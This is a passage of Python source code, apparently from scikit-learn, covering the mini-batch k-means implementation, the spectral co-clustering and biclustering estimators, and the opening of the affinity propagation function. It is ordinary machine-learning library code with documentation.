        if n_reassigns:
            # Pick new clusters amongst observations with uniform probability
            new_centers = choice(X.shape[0], replace=False, size=n_reassigns,
                                 random_state=random_state)
            if verbose:
                print("[MiniBatchKMeans] Reassigning %i cluster centers."
                      % n_reassigns)

            if sp.issparse(X) and not sp.issparse(centers):
                assign_rows_csr(X,
                                astype(new_centers, np.intp),
                                astype(np.where(to_reassign)[0], np.intp),
                                centers)
            else:
                centers[to_reassign] = X[new_centers]
        # reset counts of reassigned centers, but don't reset them too small
        # to avoid instant reassignment. This is a pretty dirty hack as it
        # also modifies the learning rates.
        counts[to_reassign] = np.min(counts[~to_reassign])

    # implementation for the sparse CSR representation completely written in
    # cython
    if sp.issparse(X):
        return inertia, _k_means._mini_batch_update_csr(
            X, x_squared_norms, centers, counts, nearest_center,
            old_center_buffer, compute_squared_diff)

    # dense variant in mostly numpy (not as memory efficient though)
    k = centers.shape[0]
    squared_diff = 0.0
    for center_idx in range(k):
        # find points from minibatch that are assigned to this center
        center_mask = nearest_center == center_idx
        count = center_mask.sum()

        if count > 0:
            if compute_squared_diff:
                old_center_buffer[:] = centers[center_idx]

            # inplace remove previous count scaling
            centers[center_idx] *= counts[center_idx]

            # inplace sum with new points members of this cluster
            centers[center_idx] += np.sum(X[center_mask], axis=0)

            # update the count statistics for this center
            counts[center_idx] += count

            # inplace rescale to compute mean of all points (old and new)
            # Note: numpy >= 1.10 does not support '/=' for the following
            # expression for a mixture of int and float (see numpy issue #6464)
            centers[center_idx] = centers[center_idx] / counts[center_idx]

            # update the squared diff if necessary
            if compute_squared_diff:
                diff = centers[center_idx].ravel() - old_center_buffer.ravel()
                squared_diff += np.dot(diff, diff)

    return inertia, squared_diff


def _mini_batch_convergence(model, iteration_idx, n_iter, tol,
                            n_samples, centers_squared_diff, batch_inertia,
                            context, verbose=0):
    """Helper function to encapsulate the early stopping logic"""
    # Normalize inertia to be able to compare values when
    # batch_size changes
    batch_inertia /= model.batch_size
    centers_squared_diff /= model.batch_size

    # Compute an Exponentially Weighted Average of the squared
    # diff to monitor the convergence while discarding
    # minibatch-local stochastic variability:
    # https://en.wikipedia.org/wiki/Moving_average
    ewa_diff = context.get('ewa_diff')
    ewa_inertia = context.get('ewa_inertia')
    if ewa_diff is None:
        ewa_diff = centers_squared_diff
        ewa_inertia = batch_inertia
    else:
        alpha = float(model.batch_size) * 2.0 / (n_samples + 1)
        alpha = 1.0 if alpha > 1.0 else alpha
        ewa_diff = ewa_diff * (1 - alpha) + centers_squared_diff * alpha
        ewa_inertia = ewa_inertia * (1 - alpha) + batch_inertia * alpha

    # Log progress to be able to monitor convergence
    if verbose:
        progress_msg = (
            'Minibatch iteration %d/%d:'
            ' mean batch inertia: %f, ewa inertia: %f ' % (
                iteration_idx + 1, n_iter, batch_inertia,
                ewa_inertia))
        print(progress_msg)

    # Early stopping based on absolute tolerance on squared change of
    # centers position (using EWA smoothing)
    if tol > 0.0 and ewa_diff <= tol:
        if verbose:
            print('Converged (small centers change) at iteration %d/%d'
                  % (iteration_idx + 1, n_iter))
        return True

    # Early stopping heuristic due to lack of improvement on smoothed inertia
    ewa_inertia_min = context.get('ewa_inertia_min')
    no_improvement = context.get('no_improvement', 0)
    if ewa_inertia_min is None or ewa_inertia < ewa_inertia_min:
        no_improvement = 0
        ewa_inertia_min = ewa_inertia
    else:
        no_improvement += 1

    if (model.max_no_improvement is not None
            and no_improvement >= model.max_no_improvement):
        if verbose:
            print('Converged (lack of improvement in inertia)'
                  ' at iteration %d/%d'
                  % (iteration_idx + 1, n_iter))
        return True

    # update the convergence context to maintain state across successive calls:
    context['ewa_diff'] = ewa_diff
    context['ewa_inertia'] = ewa_inertia
    context['ewa_inertia_min'] = ewa_inertia_min
    context['no_improvement'] = no_improvement
    return False


class MiniBatchKMeans(KMeans):
    """Mini-Batch K-Means clustering

    Read more in the :ref:`User Guide <mini_batch_kmeans>`.

    Parameters
    ----------

    n_clusters : int, optional, default: 8
        The number of clusters to form as well as the number of
        centroids to generate.

    max_iter : int, optional
        Maximum number of iterations over the complete dataset before
        stopping independently of any early stopping criterion heuristics.

    max_no_improvement : int, default: 10
        Control early stopping based on the consecutive number of mini
        batches that does not yield an improvement on the smoothed inertia.

        To disable convergence detection based on inertia, set
        max_no_improvement to None.

    tol : float, default: 0.0
        Control early stopping based on the relative center changes as
        measured by a smoothed, variance-normalized of the mean center
        squared position changes. This early stopping heuristics is
        closer to the one used for the batch variant of the algorithms
        but induces a slight computational and memory overhead over the
        inertia heuristic.

        To disable convergence detection based on normalized center
        change, set tol to 0.0 (default).

    batch_size : int, optional, default: 100
        Size of the mini batches.

    init_size : int, optional, default: 3 * batch_size
        Number of samples to randomly sample for speeding up the
        initialization (sometimes at the expense of accuracy): the
        only algorithm is initialized by running a batch KMeans on a
        random subset of the data. This needs to be larger than n_clusters.

    init : {'k-means++', 'random' or an ndarray}, default: 'k-means++'
        Method for initialization, defaults to 'k-means++':

        'k-means++' : selects initial cluster centers for k-mean
        clustering in a smart way to speed up convergence. See section
        Notes in k_init for more details.

        'random': choose k observations (rows) at random from data for
        the initial centroids.

        If an ndarray is passed, it should be of shape (n_clusters, n_features)
        and gives the initial centers.

    n_init : int, default=3
        Number of random initializations that are tried.
        In contrast to KMeans, the algorithm is only run once, using the
        best of the ``n_init`` initializations as measured by inertia.

    compute_labels : boolean, default=True
        Compute label assignment and inertia for the complete dataset
        once the minibatch optimization has converged in fit.

    random_state : integer or numpy.RandomState, optional
        The generator used to initialize the centers. If an integer is
        given, it fixes the seed. Defaults to the global numpy random
        number generator.

    reassignment_ratio : float, default: 0.01
        Control the fraction of the maximum number of counts for a
        center to be reassigned. A higher value means that low count
        centers are more easily reassigned, which means that the
        model will take longer to converge, but should converge in a
        better clustering.

    verbose : boolean, optional
        Verbosity mode.

    Attributes
    ----------

    cluster_centers_ : array, [n_clusters, n_features]
        Coordinates of cluster centers

    labels_ :
        Labels of each point (if compute_labels is set to True).

    inertia_ : float
        The value of the inertia criterion associated with the chosen
        partition (if compute_labels is set to True). The inertia is
        defined as the sum of square distances of samples to their nearest
        neighbor.

    See also
    --------

    KMeans
        The classic implementation of the clustering method based on the
        Lloyd's algorithm. It consumes the whole set of input data at each
        iteration.

    Notes
    -----
    See http://www.eecs.tufts.edu/~dsculley/papers/fastkmeans.pdf

    """

    def __init__(self, n_clusters=8, init='k-means++', max_iter=100,
                 batch_size=100, verbose=0, compute_labels=True,
                 random_state=None, tol=0.0, max_no_improvement=10,
                 init_size=None, n_init=3, reassignment_ratio=0.01):

        super(MiniBatchKMeans, self).__init__(
            n_clusters=n_clusters, init=init, max_iter=max_iter,
            verbose=verbose, random_state=random_state, tol=tol, n_init=n_init)

        self.max_no_improvement = max_no_improvement
        self.batch_size = batch_size
        self.compute_labels = compute_labels
        self.init_size = init_size
        self.reassignment_ratio = reassignment_ratio

    def fit(self, X, y=None):
        """Compute the centroids on X by chunking it into mini-batches.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            Coordinates of the data points to cluster
        """
        random_state = check_random_state(self.random_state)
        X = check_array(X, accept_sparse="csr", order='C',
                        dtype=[np.float64, np.float32])
        n_samples, n_features = X.shape
        if n_samples < self.n_clusters:
            raise ValueError("Number of samples smaller than number "
                             "of clusters.")

        n_init = self.n_init
        if hasattr(self.init, '__array__'):
            self.init = np.ascontiguousarray(self.init, dtype=X.dtype)
            if n_init != 1:
                warnings.warn(
                    'Explicit initial center position passed: '
                    'performing only one init in MiniBatchKMeans instead of '
                    'n_init=%d'
                    % self.n_init, RuntimeWarning, stacklevel=2)
                n_init = 1

        x_squared_norms = row_norms(X, squared=True)

        if self.tol > 0.0:
            tol = _tolerance(X, self.tol)

            # using tol-based early stopping needs the allocation of a
            # dedicated before which can be expensive for high dim data:
            # hence we allocate it outside of the main loop
            old_center_buffer = np.zeros(n_features, dtype=X.dtype)
        else:
            tol = 0.0
            # no need for the center buffer if tol-based early stopping is
            # disabled
            old_center_buffer = np.zeros(0, dtype=X.dtype)

        distances = np.zeros(self.batch_size, dtype=X.dtype)
        n_batches = int(np.ceil(float(n_samples) / self.batch_size))
        n_iter = int(self.max_iter * n_batches)

        init_size = self.init_size
        if init_size is None:
            init_size = 3 * self.batch_size
        if init_size > n_samples:
            init_size = n_samples
        self.init_size_ = init_size

        validation_indices = random_state.randint(0, n_samples, init_size)
        X_valid = X[validation_indices]
        x_squared_norms_valid = x_squared_norms[validation_indices]

        # perform several inits with random sub-sets
        best_inertia = None
        for init_idx in range(n_init):
            if self.verbose:
                print("Init %d/%d with method: %s"
                      % (init_idx + 1, n_init, self.init))
            counts = np.zeros(self.n_clusters, dtype=np.int32)

            # TODO: once the `k_means` function works with sparse input we
            # should refactor the following init to use it instead.

            # Initialize the centers using only a fraction of the data as we
            # expect n_samples to be very large when using MiniBatchKMeans
            cluster_centers = _init_centroids(
                X, self.n_clusters, self.init,
                random_state=random_state,
                x_squared_norms=x_squared_norms,
                init_size=init_size)

            # Compute the label assignment on the init dataset
            batch_inertia, centers_squared_diff = _mini_batch_step(
                X_valid, x_squared_norms[validation_indices],
                cluster_centers, counts, old_center_buffer, False,
                distances=None, verbose=self.verbose)

            # Keep only the best cluster centers across independent inits on
            # the common validation set
            _, inertia = _labels_inertia(X_valid, x_squared_norms_valid,
                                         cluster_centers)
            if self.verbose:
                print("Inertia for init %d/%d: %f"
                      % (init_idx + 1, n_init, inertia))
            if best_inertia is None or inertia < best_inertia:
                self.cluster_centers_ = cluster_centers
                self.counts_ = counts
                best_inertia = inertia

        # Empty context to be used inplace by the convergence check routine
        convergence_context = {}

        # Perform the iterative optimization until the final convergence
        # criterion
        for iteration_idx in range(n_iter):
            # Sample a minibatch from the full dataset
            minibatch_indices = random_state.randint(
                0, n_samples, self.batch_size)

            # Perform the actual update step on the minibatch data
            batch_inertia, centers_squared_diff = _mini_batch_step(
                X[minibatch_indices], x_squared_norms[minibatch_indices],
                self.cluster_centers_, self.counts_,
                old_center_buffer, tol > 0.0, distances=distances,
                # Here we randomly choose whether to perform
                # random reassignment: the choice is done as a function
                # of the iteration index, and the minimum number of
                # counts, in order to force this reassignment to happen
                # every once in a while
                random_reassign=((iteration_idx + 1)
                                 % (10 + self.counts_.min()) == 0),
                random_state=random_state,
                reassignment_ratio=self.reassignment_ratio,
                verbose=self.verbose)

            # Monitor convergence and do early stopping if necessary
            if _mini_batch_convergence(
                    self, iteration_idx, n_iter, tol, n_samples,
                    centers_squared_diff, batch_inertia, convergence_context,
                    verbose=self.verbose):
                break

        self.n_iter_ = iteration_idx + 1

        if self.compute_labels:
            self.labels_, self.inertia_ = self._labels_inertia_minibatch(X)

        return self

    def _labels_inertia_minibatch(self, X):
        """Compute labels and inertia using mini batches.

        This is slightly slower than doing everything at once but preventes
        memory errors / segfaults.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Input data.

        Returns
        -------
        labels : array, shap (n_samples,)
            Cluster labels for each point.

        inertia : float
            Sum of squared distances of points to nearest cluster.
        """
        if self.verbose:
            print('Computing label assignment and total inertia')
        x_squared_norms = row_norms(X, squared=True)
        slices = gen_batches(X.shape[0], self.batch_size)
        results = [_labels_inertia(X[s], x_squared_norms[s],
                                   self.cluster_centers_) for s in slices]
        labels, inertia = zip(*results)
        return np.hstack(labels), np.sum(inertia)

    def partial_fit(self, X, y=None):
        """Update k means estimate on a single mini-batch X.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            Coordinates of the data points to cluster.
        """

        X = check_array(X, accept_sparse="csr")
        n_samples, n_features = X.shape
        if hasattr(self.init, '__array__'):
            self.init = np.ascontiguousarray(self.init, dtype=X.dtype)

        if n_samples == 0:
            return self

        x_squared_norms = row_norms(X, squared=True)
        self.random_state_ = getattr(self, "random_state_",
                                     check_random_state(self.random_state))
        if (not hasattr(self, 'counts_')
                or not hasattr(self, 'cluster_centers_')):
            # this is the first call partial_fit on this object:
            # initialize the cluster centers
            self.cluster_centers_ = _init_centroids(
                X, self.n_clusters, self.init,
                random_state=self.random_state_,
                x_squared_norms=x_squared_norms, init_size=self.init_size)

            self.counts_ = np.zeros(self.n_clusters, dtype=np.int32)
            random_reassign = False
            distances = None
        else:
            # The lower the minimum count is, the more we do random
            # reassignment, however, we don't want to do random
            # reassignment too often, to allow for building up counts
            random_reassign = self.random_state_.randint(
                10 * (1 + self.counts_.min())) == 0
            distances = np.zeros(X.shape[0], dtype=X.dtype)

        _mini_batch_step(X, x_squared_norms, self.cluster_centers_,
                         self.counts_, np.zeros(0, dtype=X.dtype), 0,
                         random_reassign=random_reassign, distances=distances,
                         random_state=self.random_state_,
                         reassignment_ratio=self.reassignment_ratio,
                         verbose=self.verbose)

        if self.compute_labels:
            self.labels_, self.inertia_ = _labels_inertia(
                X, x_squared_norms, self.cluster_centers_)

        return self

    def predict(self, X):
        """Predict the closest cluster each sample in X belongs to.

        In the vector quantization literature, `cluster_centers_` is called
        the code book and each value returned by `predict` is the index of
        the closest code in the code book.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            New data to predict.

        Returns
        -------
        labels : array, shape [n_samples,]
            Index of the cluster each sample belongs to.
        """
        check_is_fitted(self, 'cluster_centers_')

        X = self._check_test_data(X)
        return self._labels_inertia_minibatch(X)[0]






"""Spectral biclustering algorithms.

Authors : Kemal Eren
License: BSD 3 clause

"""
from abc import ABCMeta, abstractmethod

import numpy as np

from scipy.sparse import dia_matrix
from scipy.sparse import issparse

from . import KMeans, MiniBatchKMeans
from ..base import BaseEstimator, BiclusterMixin
from ..externals import six
from ..utils import check_random_state
from ..utils.arpack import eigsh, svds

from ..utils.extmath import (make_nonnegative, norm, randomized_svd,
                             safe_sparse_dot)

from ..utils.validation import assert_all_finite, check_array


__all__ = ['SpectralCoclustering',
           'SpectralBiclustering']


def _scale_normalize(X):
    """Normalize ``X`` by scaling rows and columns independently.

    Returns the normalized matrix and the row and column scaling
    factors.

    """
    X = make_nonnegative(X)
    row_diag = np.asarray(1.0 / np.sqrt(X.sum(axis=1))).squeeze()
    col_diag = np.asarray(1.0 / np.sqrt(X.sum(axis=0))).squeeze()
    row_diag = np.where(np.isnan(row_diag), 0, row_diag)
    col_diag = np.where(np.isnan(col_diag), 0, col_diag)
    if issparse(X):
        n_rows, n_cols = X.shape
        r = dia_matrix((row_diag, [0]), shape=(n_rows, n_rows))
        c = dia_matrix((col_diag, [0]), shape=(n_cols, n_cols))
        an = r * X * c
    else:
        an = row_diag[:, np.newaxis] * X * col_diag
    return an, row_diag, col_diag


def _bistochastic_normalize(X, max_iter=1000, tol=1e-5):
    """Normalize rows and columns of ``X`` simultaneously so that all
    rows sum to one constant and all columns sum to a different
    constant.

    """
    # According to paper, this can also be done more efficiently with
    # deviation reduction and balancing algorithms.
    X = make_nonnegative(X)
    X_scaled = X
    dist = None
    for _ in range(max_iter):
        X_new, _, _ = _scale_normalize(X_scaled)
        if issparse(X):
            dist = norm(X_scaled.data - X.data)
        else:
            dist = norm(X_scaled - X_new)
        X_scaled = X_new
        if dist is not None and dist < tol:
            break
    return X_scaled


def _log_normalize(X):
    """Normalize ``X`` according to Kluger's log-interactions scheme."""
    X = make_nonnegative(X, min_value=1)
    if issparse(X):
        raise ValueError("Cannot compute log of a sparse matrix,"
                         " because log(x) diverges to -infinity as x"
                         " goes to 0.")
    L = np.log(X)
    row_avg = L.mean(axis=1)[:, np.newaxis]
    col_avg = L.mean(axis=0)
    avg = L.mean()
    return L - row_avg - col_avg + avg


class BaseSpectral(six.with_metaclass(ABCMeta, BaseEstimator,
                                      BiclusterMixin)):
    """Base class for spectral biclustering."""

    @abstractmethod
    def __init__(self, n_clusters=3, svd_method="randomized",
                 n_svd_vecs=None, mini_batch=False, init="k-means++",
                 n_init=10, n_jobs=1, random_state=None):
        self.n_clusters = n_clusters
        self.svd_method = svd_method
        self.n_svd_vecs = n_svd_vecs
        self.mini_batch = mini_batch
        self.init = init
        self.n_init = n_init
        self.n_jobs = n_jobs
        self.random_state = random_state

    def _check_parameters(self):
        legal_svd_methods = ('randomized', 'arpack')
        if self.svd_method not in legal_svd_methods:
            raise ValueError("Unknown SVD method: '{0}'. svd_method must be"
                             " one of {1}.".format(self.svd_method,
                                                   legal_svd_methods))

    def fit(self, X):
        """Creates a biclustering for X.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)

        """
        X = check_array(X, accept_sparse='csr', dtype=np.float64)
        self._check_parameters()
        self._fit(X)

    def _svd(self, array, n_components, n_discard):
        """Returns first `n_components` left and right singular
        vectors u and v, discarding the first `n_discard`.

        """
        if self.svd_method == 'randomized':
            kwargs = {}
            if self.n_svd_vecs is not None:
                kwargs['n_oversamples'] = self.n_svd_vecs
            u, _, vt = randomized_svd(array, n_components,
                                      random_state=self.random_state,
                                      **kwargs)

        elif self.svd_method == 'arpack':
            u, _, vt = svds(array, k=n_components, ncv=self.n_svd_vecs)
            if np.any(np.isnan(vt)):
                # some eigenvalues of A * A.T are negative, causing
                # sqrt() to be np.nan. This causes some vectors in vt
                # to be np.nan.
                A = safe_sparse_dot(array.T, array)
                random_state = check_random_state(self.random_state)
                # initialize with [-1,1] as in ARPACK
                v0 = random_state.uniform(-1, 1, A.shape[0])
                _, v = eigsh(A, ncv=self.n_svd_vecs, v0=v0)
                vt = v.T
            if np.any(np.isnan(u)):
                A = safe_sparse_dot(array, array.T)
                random_state = check_random_state(self.random_state)
                # initialize with [-1,1] as in ARPACK
                v0 = random_state.uniform(-1, 1, A.shape[0])
                _, u = eigsh(A, ncv=self.n_svd_vecs, v0=v0)

        assert_all_finite(u)
        assert_all_finite(vt)
        u = u[:, n_discard:]
        vt = vt[n_discard:]
        return u, vt.T

    def _k_means(self, data, n_clusters):
        if self.mini_batch:
            model = MiniBatchKMeans(n_clusters,
                                    init=self.init,
                                    n_init=self.n_init,
                                    random_state=self.random_state)
        else:
            model = KMeans(n_clusters, init=self.init,
                           n_init=self.n_init, n_jobs=self.n_jobs,
                           random_state=self.random_state)
        model.fit(data)
        centroid = model.cluster_centers_
        labels = model.labels_
        return centroid, labels


class SpectralCoclustering(BaseSpectral):
    """Spectral Co-Clustering algorithm (Dhillon, 2001).

    Clusters rows and columns of an array `X` to solve the relaxed
    normalized cut of the bipartite graph created from `X` as follows:
    the edge between row vertex `i` and column vertex `j` has weight
    `X[i, j]`.

    The resulting bicluster structure is block-diagonal, since each
    row and each column belongs to exactly one bicluster.

    Supports sparse matrices, as long as they are nonnegative.

    Read more in the :ref:`User Guide <spectral_coclustering>`.

    Parameters
    ----------
    n_clusters : integer, optional, default: 3
        The number of biclusters to find.

    svd_method : string, optional, default: 'randomized'
        Selects the algorithm for finding singular vectors. May be
        'randomized' or 'arpack'. If 'randomized', use
        :func:`sklearn.utils.extmath.randomized_svd`, which may be faster
        for large matrices. If 'arpack', use
        :func:`sklearn.utils.arpack.svds`, which is more accurate, but
        possibly slower in some cases.

    n_svd_vecs : int, optional, default: None
        Number of vectors to use in calculating the SVD. Corresponds
        to `ncv` when `svd_method=arpack` and `n_oversamples` when
        `svd_method` is 'randomized`.

    mini_batch : bool, optional, default: False
        Whether to use mini-batch k-means, which is faster but may get
        different results.

    init : {'k-means++', 'random' or an ndarray}
         Method for initialization of k-means algorithm; defaults to
         'k-means++'.

    n_init : int, optional, default: 10
        Number of random initializations that are tried with the
        k-means algorithm.

        If mini-batch k-means is used, the best initialization is
        chosen and the algorithm runs once. Otherwise, the algorithm
        is run for each initialization and the best solution chosen.

    n_jobs : int, optional, default: 1
        The number of jobs to use for the computation. This works by breaking
        down the pairwise matrix into n_jobs even slices and computing them in
        parallel.

        If -1 all CPUs are used. If 1 is given, no parallel computing code is
        used at all, which is useful for debugging. For n_jobs below -1,
        (n_cpus + 1 + n_jobs) are used. Thus for n_jobs = -2, all CPUs but one
        are used.

    random_state : int seed, RandomState instance, or None (default)
        A pseudo random number generator used by the K-Means
        initialization.

    Attributes
    ----------
    rows_ : array-like, shape (n_row_clusters, n_rows)
        Results of the clustering. `rows[i, r]` is True if
        cluster `i` contains row `r`. Available only after calling ``fit``.

    columns_ : array-like, shape (n_column_clusters, n_columns)
        Results of the clustering, like `rows`.

    row_labels_ : array-like, shape (n_rows,)
        The bicluster label of each row.

    column_labels_ : array-like, shape (n_cols,)
        The bicluster label of each column.

    References
    ----------

    * Dhillon, Inderjit S, 2001. `Co-clustering documents and words using
      bipartite spectral graph partitioning
      <http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.140.3011>`__.

    """
    def __init__(self, n_clusters=3, svd_method='randomized',
                 n_svd_vecs=None, mini_batch=False, init='k-means++',
                 n_init=10, n_jobs=1, random_state=None):
        super(SpectralCoclustering, self).__init__(n_clusters,
                                                   svd_method,
                                                   n_svd_vecs,
                                                   mini_batch,
                                                   init,
                                                   n_init,
                                                   n_jobs,
                                                   random_state)

    def _fit(self, X):
        normalized_data, row_diag, col_diag = _scale_normalize(X)
        n_sv = 1 + int(np.ceil(np.log2(self.n_clusters)))
        u, v = self._svd(normalized_data, n_sv, n_discard=1)
        z = np.vstack((row_diag[:, np.newaxis] * u,
                       col_diag[:, np.newaxis] * v))

        _, labels = self._k_means(z, self.n_clusters)

        n_rows = X.shape[0]
        self.row_labels_ = labels[:n_rows]
        self.column_labels_ = labels[n_rows:]

        self.rows_ = np.vstack(self.row_labels_ == c
                               for c in range(self.n_clusters))
        self.columns_ = np.vstack(self.column_labels_ == c
                                  for c in range(self.n_clusters))


class SpectralBiclustering(BaseSpectral):
    """Spectral biclustering (Kluger, 2003).

    Partitions rows and columns under the assumption that the data has
    an underlying checkerboard structure. For instance, if there are
    two row partitions and three column partitions, each row will
    belong to three biclusters, and each column will belong to two
    biclusters. The outer product of the corresponding row and column
    label vectors gives this checkerboard structure.

    Read more in the :ref:`User Guide <spectral_biclustering>`.

    Parameters
    ----------
    n_clusters : integer or tuple (n_row_clusters, n_column_clusters)
        The number of row and column clusters in the checkerboard
        structure.

    method : string, optional, default: 'bistochastic'
        Method of normalizing and converting singular vectors into
        biclusters. May be one of 'scale', 'bistochastic', or 'log'.
        The authors recommend using 'log'. If the data is sparse,
        however, log normalization will not work, which is why the
        default is 'bistochastic'. CAUTION: if `method='log'`, the
        data must not be sparse.

    n_components : integer, optional, default: 6
        Number of singular vectors to check.

    n_best : integer, optional, default: 3
        Number of best singular vectors to which to project the data
        for clustering.

    svd_method : string, optional, default: 'randomized'
        Selects the algorithm for finding singular vectors. May be
        'randomized' or 'arpack'. If 'randomized', uses
        `sklearn.utils.extmath.randomized_svd`, which may be faster
        for large matrices. If 'arpack', uses
        `sklearn.utils.arpack.svds`, which is more accurate, but
        possibly slower in some cases.

    n_svd_vecs : int, optional, default: None
        Number of vectors to use in calculating the SVD. Corresponds
        to `ncv` when `svd_method=arpack` and `n_oversamples` when
        `svd_method` is 'randomized`.

    mini_batch : bool, optional, default: False
        Whether to use mini-batch k-means, which is faster but may get
        different results.

    init : {'k-means++', 'random' or an ndarray}
         Method for initialization of k-means algorithm; defaults to
         'k-means++'.

    n_init : int, optional, default: 10
        Number of random initializations that are tried with the
        k-means algorithm.

        If mini-batch k-means is used, the best initialization is
        chosen and the algorithm runs once. Otherwise, the algorithm
        is run for each initialization and the best solution chosen.

    n_jobs : int, optional, default: 1
        The number of jobs to use for the computation. This works by breaking
        down the pairwise matrix into n_jobs even slices and computing them in
        parallel.

        If -1 all CPUs are used. If 1 is given, no parallel computing code is
        used at all, which is useful for debugging. For n_jobs below -1,
        (n_cpus + 1 + n_jobs) are used. Thus for n_jobs = -2, all CPUs but one
        are used.

    random_state : int seed, RandomState instance, or None (default)
        A pseudo random number generator used by the K-Means
        initialization.

    Attributes
    ----------
    rows_ : array-like, shape (n_row_clusters, n_rows)
        Results of the clustering. `rows[i, r]` is True if
        cluster `i` contains row `r`. Available only after calling ``fit``.

    columns_ : array-like, shape (n_column_clusters, n_columns)
        Results of the clustering, like `rows`.

    row_labels_ : array-like, shape (n_rows,)
        Row partition labels.

    column_labels_ : array-like, shape (n_cols,)
        Column partition labels.

    References
    ----------

    * Kluger, Yuval, et. al., 2003. `Spectral biclustering of microarray
      data: coclustering genes and conditions
      <http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.135.1608>`__.

    """
    def __init__(self, n_clusters=3, method='bistochastic',
                 n_components=6, n_best=3, svd_method='randomized',
                 n_svd_vecs=None, mini_batch=False, init='k-means++',
                 n_init=10, n_jobs=1, random_state=None):
        super(SpectralBiclustering, self).__init__(n_clusters,
                                                   svd_method,
                                                   n_svd_vecs,
                                                   mini_batch,
                                                   init,
                                                   n_init,
                                                   n_jobs,
                                                   random_state)
        self.method = method
        self.n_components = n_components
        self.n_best = n_best

    def _check_parameters(self):
        super(SpectralBiclustering, self)._check_parameters()
        legal_methods = ('bistochastic', 'scale', 'log')
        if self.method not in legal_methods:
            raise ValueError("Unknown method: '{0}'. method must be"
                             " one of {1}.".format(self.method, legal_methods))
        try:
            int(self.n_clusters)
        except TypeError:
            try:
                r, c = self.n_clusters
                int(r)
                int(c)
            except (ValueError, TypeError):
                raise ValueError("Incorrect parameter n_clusters has value:"
                                 " {}. It should either be a single integer"
                                 " or an iterable with two integers:"
                                 " (n_row_clusters, n_column_clusters)")
        if self.n_components < 1:
            raise ValueError("Parameter n_components must be greater than 0,"
                             " but its value is {}".format(self.n_components))
        if self.n_best < 1:
            raise ValueError("Parameter n_best must be greater than 0,"
                             " but its value is {}".format(self.n_best))
        if self.n_best > self.n_components:
            raise ValueError("n_best cannot be larger than"
                             " n_components, but {} >  {}"
                             "".format(self.n_best, self.n_components))

    def _fit(self, X):
        n_sv = self.n_components
        if self.method == 'bistochastic':
            normalized_data = _bistochastic_normalize(X)
            n_sv += 1
        elif self.method == 'scale':
            normalized_data, _, _ = _scale_normalize(X)
            n_sv += 1
        elif self.method == 'log':
            normalized_data = _log_normalize(X)
        n_discard = 0 if self.method == 'log' else 1
        u, v = self._svd(normalized_data, n_sv, n_discard)
        ut = u.T
        vt = v.T

        try:
            n_row_clusters, n_col_clusters = self.n_clusters
        except TypeError:
            n_row_clusters = n_col_clusters = self.n_clusters

        best_ut = self._fit_best_piecewise(ut, self.n_best,
                                           n_row_clusters)

        best_vt = self._fit_best_piecewise(vt, self.n_best,
                                           n_col_clusters)

        self.row_labels_ = self._project_and_cluster(X, best_vt.T,
                                                     n_row_clusters)

        self.column_labels_ = self._project_and_cluster(X.T, best_ut.T,
                                                        n_col_clusters)

        self.rows_ = np.vstack(self.row_labels_ == label
                               for label in range(n_row_clusters)
                               for _ in range(n_col_clusters))
        self.columns_ = np.vstack(self.column_labels_ == label
                                  for _ in range(n_row_clusters)
                                  for label in range(n_col_clusters))

    def _fit_best_piecewise(self, vectors, n_best, n_clusters):
        """Find the ``n_best`` vectors that are best approximated by piecewise
        constant vectors.

        The piecewise vectors are found by k-means; the best is chosen
        according to Euclidean distance.

        """
        def make_piecewise(v):
            centroid, labels = self._k_means(v.reshape(-1, 1), n_clusters)
            return centroid[labels].ravel()
        piecewise_vectors = np.apply_along_axis(make_piecewise,
                                                axis=1, arr=vectors)
        dists = np.apply_along_axis(norm, axis=1,
                                    arr=(vectors - piecewise_vectors))
        result = vectors[np.argsort(dists)[:n_best]]
        return result

    def _project_and_cluster(self, data, vectors, n_clusters):
        """Project ``data`` to ``vectors`` and cluster the result."""
        projected = safe_sparse_dot(data, vectors)
        _, labels = self._k_means(projected, n_clusters)
        return labels






"""Affinity Propagation clustering algorithm."""

# Author: Alexandre Gramfort alexandre.gramfort@inria.fr
#        Gael Varoquaux gael.varoquaux@normalesup.org

# License: BSD 3 clause

import numpy as np

from ..base import BaseEstimator, ClusterMixin
from ..utils import as_float_array, check_array
from ..utils.validation import check_is_fitted
from ..metrics import euclidean_distances
from ..metrics import pairwise_distances_argmin


def affinity_propagation(S, preference=None, convergence_iter=15, max_iter=200,
                         damping=0.5, copy=True, verbose=False,
                         return_n_iter=False):
    """Perform Affinity Propagation Clustering of data

    Read more in the :ref:`User Guide <affinity_propagation>`.

    Parameters
    ----------

    S : array-like, shape (n_samples, n_samples)
        Matrix of similarities between points

    preference : array-like, shape (n_samples,) or float, optional
        Preferences for each point - points with larger values of
        preferences are more likely to be chosen as exemplars. The number of
        exemplars, i.e. of clusters, is influenced by the input preferences
        value. If the preferences are not passed as arguments, they will be
        set to the median of the input similarities (resulting in a moderate
        number of clusters). For a smaller amount of clusters, this can be set
        to the minimum value of the similarities.

    convergence_iter : int, optional, default: 15
        Number of iterations with no change in the number
        of estimated clusters that stops the convergence.

    max_iter : int, optional, default: 200
        Maximum number of iterations

    damping : float, optional, default: 0.5
        Damping factor between 0.5 and 1.

    copy : boolean, optional, default: True
        If copy is False, the affinity matrix is modified inplace by the
        algorithm, for memory efficiency

    verbose : boolean, optional, default: False
        The verbosity level

    return_n_iter : bool, default False
        Whether or not to return the number of iterations.

    Returns
    -------

    cluster_centers_indices : array, shape (n_clusters,)
        index of clusters centers

    labels : array, shape (n_samples,)
        cluster labels for each point

    n_iter : int
        number of iterations run. Returned only if `return_n_iter` is
        set to True.

    Notes
    -----
    See examples/cluster/plot_affinity_propagation.py for an example.

    References
    ----------
    Brendan J. Frey and Delbert Dueck, "Clustering by Passing Messages
    Between Data Points", Science Feb. 2007
    """
    S = as_float_array(S, copy=copy)
    n_samples = S.shape[0]

    if S.shape[0] != S.shape[1]:
        raise ValueError("S must be a square array (shape=%s)" % repr(S.shape))

    if preference is None:
        preference = np.median(S)
    if damping < 0.5 or damping >= 1:
        raise ValueError('damping must be >= 0.5 and < 1')

    random_state = np.random.RandomState(0)

    # Place preference on the diagonal of S
    S.flat[::(n_samples + 1)] = preference

